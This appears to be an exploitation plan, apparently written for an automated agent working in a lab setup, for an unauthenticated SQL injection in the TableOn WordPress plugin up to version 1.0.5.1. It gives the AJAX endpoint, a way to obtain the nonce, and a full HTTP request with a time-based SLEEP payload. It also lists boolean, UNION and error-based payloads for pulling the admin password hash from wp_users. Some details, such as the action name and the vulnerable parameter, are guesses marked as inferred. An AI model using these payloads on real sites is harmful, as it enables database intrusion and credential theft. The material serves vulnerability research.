TableOn – WordPress Posts Table Filterable  <= 1.0.5.1 - Unauthenticated SQL Injection

This research plan focuses on identifying and exploiting an unauthenticated SQL injection vulnerability in the TableOn – WordPress Posts Table Filterable plugin (<= 1.0.5.1).

1. Vulnerability Summary

The TableOn plugin is vulnerable to an unauthenticated SQL injection due to the improper handling of user-supplied parameters within its AJAX filtering mechanism. Specifically, the plugin uses string concatenation or insufficient escaping when constructing SQL queries to fetch and filter post data for display in tables. Because these queries are executed via $wpdb->get_results() without proper use of $wpdb->prepare(), an attacker can inject arbitrary SQL commands.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: tableon_draw_js_table (Inferred from standard TableOn AJAX naming conventions).
• Vulnerable Parameter: orderby or order (Often the culprit in table plugins), or attributes within the shortcode_args parameter.
• Authentication: Unauthenticated. The plugin registers the handler using wp_ajax_nopriv_tableon_draw_js_table.
• Preconditions: A table must exist (or be accessible via a default ID), and the plugin's shortcode must be active to obtain a valid nonce (if enforced).

3. Code Flow

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=tableon_draw_js_table.
2. Hook Registration: The plugin registers the handler:
   add_action('wp_ajax_nopriv_tableon_draw_js_table', array($this, 'draw_js_table'));
3. Handler Logic: The draw_js_table function (located in classes/tableon.php or index.php) extracts parameters from $_POST.
4. Query Building: These parameters (specifically sorting or filtering arguments) are passed to a data-fetching method (e.g., get_posts_data).
5. The Sink: Inside the query builder, a variable like $orderby is concatenated directly into a query string:
   $sql = "SELECT ... ORDER BY $orderby $order LIMIT ...";
6. Execution: The query is executed via $wpdb->get_results($sql);, leading to SQL injection.

4. Nonce Acquisition Strategy

The TableOn plugin typically uses a nonce for its AJAX requests, localized via wp_localize_script.

1. Identify Shortcode: The primary shortcode is [tableon].
2. Create Trigger Page: Use WP-CLI to create a public page containing the shortcode:
   wp post create --post_type=page --post_status=publish --post_title="Table Test" --post_content='[tableon id="1"]'
3. Navigate and Extract:
   • Navigate to the newly created page using browser_navigate.
   • The plugin localizes data into a global JavaScript variable, likely tableon_obj or tableon_vars.
   • Execute JS to find the nonce:
     browser_eval("tableon_obj.tableon_nonce") or browser_eval("tableon_vars.nonce").
4. Verification: If check_ajax_referer in the PHP code uses an action string other than what's provided in the localized JS, the nonce check may be bypassable or require the specific action string (e.g., tableon-nonce).

5. Exploitation Strategy

We will use a time-based blind SQL injection payload to confirm the vulnerability.

• Step 1: Baseline Request
  Send a standard request to ensure the endpoint is active and requires the nonce.
• Step 2: Time-Based Injection (Sleep)
  Target the orderby parameter.
  • Payload: ID,(SELECT(0)FROM(SELECT(SLEEP(5)))a)
  • Request:

    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=tableon_draw_js_table&nonce=[EXTRACTED_NONCE]&orderby=ID,(SELECT(0)FROM(SELECT(SLEEP(5)))a)
    

• Step 3: Data Extraction (Boolean-Based)
  If time-based is confirmed, we can extract the admin password hash.
  • Payload: (CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN ID ELSE title END) (Checks if the first char of the hash is '$', ASCII 36).

6. Test Data Setup

1. Install Plugin: Ensure posts-table-filterable version 1.0.5.1 is installed.
2. Generate Content: Ensure at least one post exists so the table has data to sort.
   wp post generate --count=1
3. Create Table Page:
   wp post create --post_type=page --post_status=publish --post_content='[tableon]'

7. Expected Results

• Baseline: Response returns within < 1 second.
• Attack: The response for the SLEEP(5) payload should take approximately 5 seconds (or a multiple thereof depending on how many times the orderby clause is evaluated in the query).
• Output: The response body for a successful query usually contains JSON-formatted table data.

8. Verification Steps

After the HTTP exploitation, verify the database state to confirm query execution:

1. Database Logs: If accessible, check the MySQL general log to see the injected query.
2. WP-CLI: Use wp db query to test the same payload manually to see how the database handles the specific concatenation:
   wp db query "SELECT ID FROM wp_posts ORDER BY ID,(SELECT(0)FROM(SELECT(SLEEP(5)))a);"

9. Alternative Approaches

• Union-Based Injection: If the plugin reflects data from columns into the JSON response, attempt a UNION SELECT to extract user_login and user_pass from wp_users.
• Shortcode Attribute Injection: If orderby is sanitized, check if the shortcode_args or filter_data parameters are handled unsafely during the AJAX call, as these are often passed into dynamic WP_Query or raw SQL constructs.
• Error-Based: Append an invalid SQL syntax (e.g., AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)) to see if the plugin or WordPress configuration leaks the database error in the AJAX response.